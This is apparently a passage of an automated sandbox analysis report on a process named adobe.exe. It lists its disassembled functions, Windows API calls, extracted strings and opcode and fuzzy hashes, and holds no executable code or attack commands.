Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0273D296
GetCurrentThread.KERNEL32 ref: 0273D2D3
GetCurrentProcess.KERNEL32 ref: 0273D310
GetCurrentThreadId.KERNEL32 ref: 0273D369

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 66dd44bf6c647007e5af2a50ca1f0d94665dc30f04d30889ba9534aa4757efea
Instruction ID: baff058d4a8f345bcaa1383465b6212a573d0174f4dedabcbc096cfeab173ec4
Opcode Fuzzy Hash: 66dd44bf6c647007e5af2a50ca1f0d94665dc30f04d30889ba9534aa4757efea
Instruction Fuzzy Hash: 0A5157B0900209DFDB24DFAAD948BAEBBF1FF48304F208459E419A7351D738A944CF66

Function 0273AE50 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0273B0B6

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d41738ac908fae3da4d9bcc140e326ff009c413c9c4044ef12da28a570604328
Instruction ID: 6e2c191d510b2a10b4595895bd452050a23f6ee47917303c507264f3b9a9b82f
Opcode Fuzzy Hash: d41738ac908fae3da4d9bcc140e326ff009c413c9c4044ef12da28a570604328
Instruction Fuzzy Hash: B08166B0A00B468FD725DF2AD14675ABBF1FF88304F00892DD08AD7A51DB79E849CB90

Function 02734248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 027359C9

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a73cae270e1466d6b853ccf662ae76b1ac1c9dcde5bd1c8eb523351d00bf594f
Instruction ID: 1ab603c365f9211d81011bde200a77de7c4c4c6a02df5841e1c80da3ba753374
Opcode Fuzzy Hash: a73cae270e1466d6b853ccf662ae76b1ac1c9dcde5bd1c8eb523351d00bf594f
Instruction Fuzzy Hash: 7241D1B0C0061DCBDB25DFA9C884B9DBBF5FF48308F60806AD418AB255DB75694ACF90

Function 0273590D Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 027359C9

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3016c281d508aa8712393a07aeb5c3004f233557557a5cc36380937ac0a098dd
Instruction ID: eef3bdf8aac146ea0773b40b86f1bee3d8be225e746ba1f8761ef18d32f3fbfa
Opcode Fuzzy Hash: 3016c281d508aa8712393a07aeb5c3004f233557557a5cc36380937ac0a098dd
Instruction Fuzzy Hash: 8941FFB0C00619CBDB25DFA9C884BDDBBF5BF48308F60806AD418BB255DB75694ACF90

Function 0273D458 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0273D4E7

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 331a4060f7bc4d3059e83598f87e270b3d06debec0e966e92777a32b347373ba
Instruction ID: adc129d754e52feab3fe0f4d535335e6d6c78d152f2d77bbf08d95c38fa80ab7
Opcode Fuzzy Hash: 331a4060f7bc4d3059e83598f87e270b3d06debec0e966e92777a32b347373ba
Instruction Fuzzy Hash: E92105B5900208EFDB10CF9AD584ADEBBF8FB48324F10801AE958A3211D378A944CFA1

Function 0273D460 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0273D4E7

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 693d9c3feedc1d66d7595b2bc9ef3a126215ad3976556a4f3195dc80ae28b96d
Instruction ID: f830433e1a330af75346e6b2ce4bae35ca68d75bdcec11b3d225481f78f42f32
Opcode Fuzzy Hash: 693d9c3feedc1d66d7595b2bc9ef3a126215ad3976556a4f3195dc80ae28b96d
Instruction Fuzzy Hash: BA21F5B59002499FDB10CF9AD584ADEFFF8FB48324F14841AE918A3350D378A940CFA1

Function 0273B050 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0273B0B6

Memory Dump Source

Source File: 00000004.00000002.2159823673.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2730000_adobe.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f534fa33d95d3342a58d5f736f67d0b077bc6dcd79a19f37bdb940f2a9fd91cb
Instruction ID: ac7b4af6e726caedf6e63a9fe9f6dee51567d37df269e994a5c235a9d62d23ad
Opcode Fuzzy Hash: f534fa33d95d3342a58d5f736f67d0b077bc6dcd79a19f37bdb940f2a9fd91cb
Instruction Fuzzy Hash: AE11DFB5C003498FDB20DF9AC444A9EFBF4AF89228F10846AD469B7611D379A545CFA1

Function 00EBD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2159355862.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ebd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b91f11337844a59d62370c135289ef7fc5127645b641543dcc1dbb5ec6fd00d
Instruction ID: e0c1715714a1669a721d0614f16c0a1258c84d5792c0e8e8c3c60e68a0269516
Opcode Fuzzy Hash: 2b91f11337844a59d62370c135289ef7fc5127645b641543dcc1dbb5ec6fd00d
Instruction Fuzzy Hash: D6213071508200DFCB25DF14D9C0FA7BF65FB98328F20C569E9092B256D33AD816CAA2

Function 00EBD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2159355862.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ebd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f35135d14c3c9ceb26a569934ad60eaca1aa3d6df9588b007725c6aed2a55d84
Instruction ID: 91f45b73ef432a4aff5544d4307d90bce31aff06b4076fd2b69a3d4df4d89ac5
Opcode Fuzzy Hash: f35135d14c3c9ceb26a569934ad60eaca1aa3d6df9588b007725c6aed2a55d84
Instruction Fuzzy Hash: D1213371108204DFCB05DF14C9C0BA7BF65FB98324F20C569E9095B256D33AE816CAA2

Function 0267D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2159469174.000000000267D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0267D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_267d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ea168205ecca937218e75c8766ad2a096b5523ba16824a3864cf4f2c240e070
Instruction ID: 1445136d5e0cac26a30469e9d4a8d196e9587d1f0afdec7db75584c350dcc365
Opcode Fuzzy Hash: 5ea168205ecca937218e75c8766ad2a096b5523ba16824a3864cf4f2c240e070
Instruction Fuzzy Hash: 0821F275604284DFDB14DF24E984B26BF65FF88314F24C96DD90A4B396C33AD447CA61

Function 0267D006 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2159469174.000000000267D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0267D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_267d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a280a4fd0e67636db21dbf0599cb9f2e7f05ab045fb7704d9116f6f7eaabf6fb
Instruction ID: f04aa9a304ee00677ed5eebb550e59f0af810d96ef68a230a77dee3cf413fa1c
Opcode Fuzzy Hash: a280a4fd0e67636db21dbf0599cb9f2e7f05ab045fb7704d9116f6f7eaabf6fb
Instruction Fuzzy Hash: 242181755093C08FDB12CF24D994715BF71EF46214F28C5DAD8898F6A7C33A981ACB62

Function 00EBD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2159355862.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ebd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: ac58690e9d64759f10eb57f3df0d3cd5b484eb8b0cf61ea409a646d6ac2c5aaa
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: A6112672404280CFCB12CF10D9C4B56BF71FB98328F24C6A9D9490B256C33AD85ACBA2

Function 00EBD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2159355862.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ebd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 1d81733299829641e8821038396d005eb04d8f691dc79565d7da5d1df5801a6f
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: AC112672404240CFCB12CF00D9C4B56BF71FB94324F24C6A9D9090B256C33AE85ACBA2

Analysis Process: adobe.exePID: 7116, Parent PID: 1532COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	4

Executed Functions

Function 06A334A8 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A33BB3
$]q, xrefs: 06A33BF4
$]q, xrefs: 06A33BD0
$]q, xrefs: 06A33BDC
$]q, xrefs: 06A33C00
$]q, xrefs: 06A33BA7

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 0c773be1338694a9f5ababa28b81dd13935ebd6c137c98c6030c61e600cd2c3c
Instruction ID: 7ec781728590553ada82e1845e5b1afa334a003a783b238165680ed446df6b6b
Opcode Fuzzy Hash: 0c773be1338694a9f5ababa28b81dd13935ebd6c137c98c6030c61e600cd2c3c
Instruction Fuzzy Hash: 80323031E1065ACFCF55EF75D89469DB7B6FF89300F10C66AD409AB224EB30A985CB81

Function 06A37DC8 Relevance: 3.0, Strings: 2, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A38111
$]q, xrefs: 06A38105

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 1287edb145d4cb7f1ee7dd6c03d6f6482b2135416c33bcf6cd5e5155db6276aa
Instruction ID: d219f0cfc894a3806d801230c324c3470632ab79401706862a5df67aeec2d284
Opcode Fuzzy Hash: 1287edb145d4cb7f1ee7dd6c03d6f6482b2135416c33bcf6cd5e5155db6276aa
Instruction Fuzzy Hash: F6027B30B002259FDB54EB64D990BAEB7B6FF84304F248569E409DB394DB39EC46CB81

Function 06A355E8 Relevance: 1.8, Strings: 1, Instructions: 600
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06A35939

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1c849cedbb0e8219835689d7547236de40743bc45ae167add72da2627e47fb6b
Instruction ID: 3d5497c900d8f404f7923f374e7a3aa4c68d3a9f8bcc995bda473276754d7139
Opcode Fuzzy Hash: 1c849cedbb0e8219835689d7547236de40743bc45ae167add72da2627e47fb6b
Instruction Fuzzy Hash: B322D335E002299FDF64EFA8C5806AEB7F2EF85314F248469E449AB344DB35DD42CB91

Function 06A36638 Relevance: .8, Instructions: 820COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5e6c08030c308c8658d991b5cd66dea77de8a05ecd5dbb7fde35361cd7d47a
Instruction ID: 4253769d7dff60dab1d8bf110d324212d42279b3cbe9debf3135aae45e552c16
Opcode Fuzzy Hash: 7d5e6c08030c308c8658d991b5cd66dea77de8a05ecd5dbb7fde35361cd7d47a
Instruction Fuzzy Hash: 7862AC34B002259FDB54EB68D580BADB7F2EF88354F248469E806EB355DB35EC46CB80

Function 06A3C1D8 Relevance: .6, Instructions: 642COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae27808c4a5e35eac9878fcfec7a79549ebea6da12b1a15dc9f3771cf4896171
Instruction ID: 11bdf1c33ed5b55a6e1e5a1b3761036ba073147889507019b6f67424c3a5145d
Opcode Fuzzy Hash: ae27808c4a5e35eac9878fcfec7a79549ebea6da12b1a15dc9f3771cf4896171
Instruction Fuzzy Hash: 8F328D34A002199FDB54EF68D990BADB7B6EF88320F108525E806FB355DB35EC46CB91

Function 06A3B26F Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47bde833b278e4ece7093592c46533e1a4bf61eb9841d20794d44533413f313f
Instruction ID: fc125eca6856f20f1133d628b83742a6819ad893bc3ff6198d97b4a0a2a78fa3
Opcode Fuzzy Hash: 47bde833b278e4ece7093592c46533e1a4bf61eb9841d20794d44533413f313f
Instruction Fuzzy Hash: B2224E70E102198FDF64EF68D5907ADB7A6EB55310F208826F409EF395DA35DC81CBA1

Function 06A3AD18 Relevance: 10.4, Strings: 8, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A3AE45
$]q, xrefs: 06A3AEE4
$]q, xrefs: 06A3AE39
$]q, xrefs: 06A3AEBB
$]q, xrefs: 06A3AEC7
$]q, xrefs: 06A3AE98
$]q, xrefs: 06A3AE8C
$]q, xrefs: 06A3AEF0

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: be8ed3111eb14af356af0f86c8c384dc65e23286c93ce0364b641a2a99d0ac6c
Instruction ID: 2c6fd1f55169cd8162f17b10130510b617fc9bb80ffae4c054dd4687f8ccf3c5
Opcode Fuzzy Hash: be8ed3111eb14af356af0f86c8c384dc65e23286c93ce0364b641a2a99d0ac6c
Instruction Fuzzy Hash: E0E16030E102298FCB69EF68D5906AEB7B6FF85304F208529E945EB354DB34DC46CB91

Function 06A3B6A0 Relevance: 8.0, Strings: 6, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A3BBFD
$]q, xrefs: 06A3BC31
$]q, xrefs: 06A3BC65
$]q, xrefs: 06A3BC25
$]q, xrefs: 06A3BBF1
$]q, xrefs: 06A3BC59

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: f6d3694aebbfcbdaae35d22c07090c64b10f8bb4a416c72028054f59da0c7efc
Instruction ID: 39d3bfbf26729b75f6ba3469172001746f8a61cc5193565e08a39d7501b65277
Opcode Fuzzy Hash: f6d3694aebbfcbdaae35d22c07090c64b10f8bb4a416c72028054f59da0c7efc
Instruction Fuzzy Hash: 5D026B30E002198FDBA4EF68D5806ADB7B2EF55300F24856AE409EF255DB34DD85CBA1

Function 06A39198 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A39226
$]q, xrefs: 06A391DF
$]q, xrefs: 06A3921A
$]q, xrefs: 06A391EB

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 5284ad492c16e41eb4cf590baf0e44be736990fa9784b8008a0f7ceccdc0b33e
Instruction ID: 6decc6fc34fb9742e5485a51d3e8e5fd503d610ec2170c0d87331c6754e3b877
Opcode Fuzzy Hash: 5284ad492c16e41eb4cf590baf0e44be736990fa9784b8008a0f7ceccdc0b33e
Instruction Fuzzy Hash: 7E915130B0021A9FDB95EF65D950BAFB7F6BF84304F108569D409EB348EE709D468B92

Function 06A3CFA0 Relevance: 4.6, Strings: 3, Instructions: 802
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A3D397
$]q, xrefs: 06A3D39F
$]q, xrefs: 06A3D3AB

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 23bc0daf7c8cba55d19a1c1a27db72120e91b8cec37a7bfbfe1c94c35b84417b
Instruction ID: aaa1c323856c5601efd81fb96cabd1cf50667154c361192a512318af369441eb
Opcode Fuzzy Hash: 23bc0daf7c8cba55d19a1c1a27db72120e91b8cec37a7bfbfe1c94c35b84417b
Instruction Fuzzy Hash: 06622D30A0021ACFCB55FF68E590A5DB7A6FF84304B608A69E005DF369DB75ED46CB81

Function 06A34BB0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06A34BDB
\Obq, xrefs: 06A34D8B
XPbq, xrefs: 06A34D01

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: b6a8295c98e29cb9d3cb6e9da2acb4425762665a22cea791c5b06a1d8f71682e
Instruction ID: 39207c179b3a1f3806aca6a74489040c0b6da860bb33f61c77732303f8f1f7a6
Opcode Fuzzy Hash: b6a8295c98e29cb9d3cb6e9da2acb4425762665a22cea791c5b06a1d8f71682e
Instruction Fuzzy Hash: 7861A130F002199FEB54AFA4C854BAEBBF6FF88700F208029E106EB395DB744C418B91

Function 06A39188 Relevance: 2.7, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A391DF
$]q, xrefs: 06A3921A

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: f347f5cc671af4dc257ce76170c8e7ee052b660900797b3a0e801473d4b705a3
Instruction ID: a7a6d4eaa2a843b3e0c14273b22f3700229fe06c42f450ab65b0be128f78ec4e
Opcode Fuzzy Hash: f347f5cc671af4dc257ce76170c8e7ee052b660900797b3a0e801473d4b705a3
Instruction Fuzzy Hash: C8517130B001169FDB95EB74D990BAFB7F6EF88300F108469D409DB388EE709C468B91

Function 06A34BA0 Relevance: 2.6, Strings: 2, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06A34BDB
XPbq, xrefs: 06A34D01

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 1e531a2aa725da7ae05803b7d6c69d900ceb550e1202e3f61de754ae22fb1e30
Instruction ID: 12d44cc18ca2972cd1ab18d95bc67c630e1fd234b28595a5ef0f01933e61cce4
Opcode Fuzzy Hash: 1e531a2aa725da7ae05803b7d6c69d900ceb550e1202e3f61de754ae22fb1e30
Instruction Fuzzy Hash: 09516F30E002199FDB549FE5C855B9EBAF6FF88740F208429E106EB395DB748C419B91

Function 0125ED40 Relevance: 1.6, APIs: 1, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2241208324.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1250000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8f4094b78673708363d823566a82a6a2fbaade59246fdd75fea1ae8039648c
Instruction ID: 8a13c68b07ebbd56d572bccc0e9c9dff437aa083b4d938515674d3d45d7e7f55
Opcode Fuzzy Hash: 6a8f4094b78673708363d823566a82a6a2fbaade59246fdd75fea1ae8039648c
Instruction Fuzzy Hash: 5C412271D1035A8FCB14DFA9D8446EEFBF5AF89310F058A6AD908E7241DB789941CBD0

Function 0125EE28 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0125EE8F

Memory Dump Source

Source File: 00000006.00000002.2241208324.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1250000_adobe.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 7100969036d63aae961c781629f59657b34042044dcb8c61dfb44073579d8a19
Instruction ID: 191aadcd898dd33133dc3843506b1b1987f71fbafcfad3ee79707550f6cef03a
Opcode Fuzzy Hash: 7100969036d63aae961c781629f59657b34042044dcb8c61dfb44073579d8a19
Instruction Fuzzy Hash: DE111FB1C1065A9BCB10DF9AC844B9EFBF4EF48320F11812AD918A7240D378AA44CFA1

Function 06A3DB15 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

PH]q, xrefs: 06A3DC71

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: d8127d67e2f83aca273656aaded69c8d5c068cad405631c9ab0267663ff2e8e1
Instruction ID: 36df2cef279ebfe6d06d63cf3fd3c8497905f05b0ab776e4208dfc5f327a5ae7
Opcode Fuzzy Hash: d8127d67e2f83aca273656aaded69c8d5c068cad405631c9ab0267663ff2e8e1
Instruction Fuzzy Hash: 5341BF70E10219DFDB95FF75D89069EBBB2BF85340F104929E405EB240EBB4A846CB81

Function 06A32200 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 06A3233B

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: c7975ed310b36d7b3c0ecd6183a09bbd3edaf10a33cf13ed25de6f5e31f4a08f
Instruction ID: 4a93a49dd6ac7fe542b0edf0931eec49bcd860cad96929a1e3b914b6f21a7103
Opcode Fuzzy Hash: c7975ed310b36d7b3c0ecd6183a09bbd3edaf10a33cf13ed25de6f5e31f4a08f
Instruction Fuzzy Hash: AF31F030B002158FDB58ABB4DA5476E7AE6AF89300F208478E406DB394EF75DE46CB95

Function 06A321ED Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

PH]q, xrefs: 06A3233B

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 83809b563da47d5385828ab3e5afc269016322e206d4c12dc37b07a4cc9b1be7
Instruction ID: 0c7a46ef449a67241628112dd881d9281d6110357c5274d81cb11391dd6dd881
Opcode Fuzzy Hash: 83809b563da47d5385828ab3e5afc269016322e206d4c12dc37b07a4cc9b1be7
Instruction Fuzzy Hash: 0D31DF31B002118FDB98ABB0DA5472E77B2AF84250F248468E406DF394EF38CE42CB91

Function 06A34A99 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Obq, xrefs: 06A34AA5

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: \Obq
API String ID: 0-2878401908
Opcode ID: 3ab34cc39a5e9bb0dba6ce0f90ccf9803297662b7378139d886a9cb13daae340
Instruction ID: 8191716a98ef97de2b7f6a082b62333364bc41ac26cc1df4d6277c98730ac788
Opcode Fuzzy Hash: 3ab34cc39a5e9bb0dba6ce0f90ccf9803297662b7378139d886a9cb13daae340
Instruction Fuzzy Hash: 8AF0DA31E50129DBDB14EF94E959BAEBBB2FF88705F204119E002A7294CBB41D41DB81

Function 06A3277B Relevance: 1.0, Instructions: 1026COMMON

Download Yara Rule

Memory Dump Source

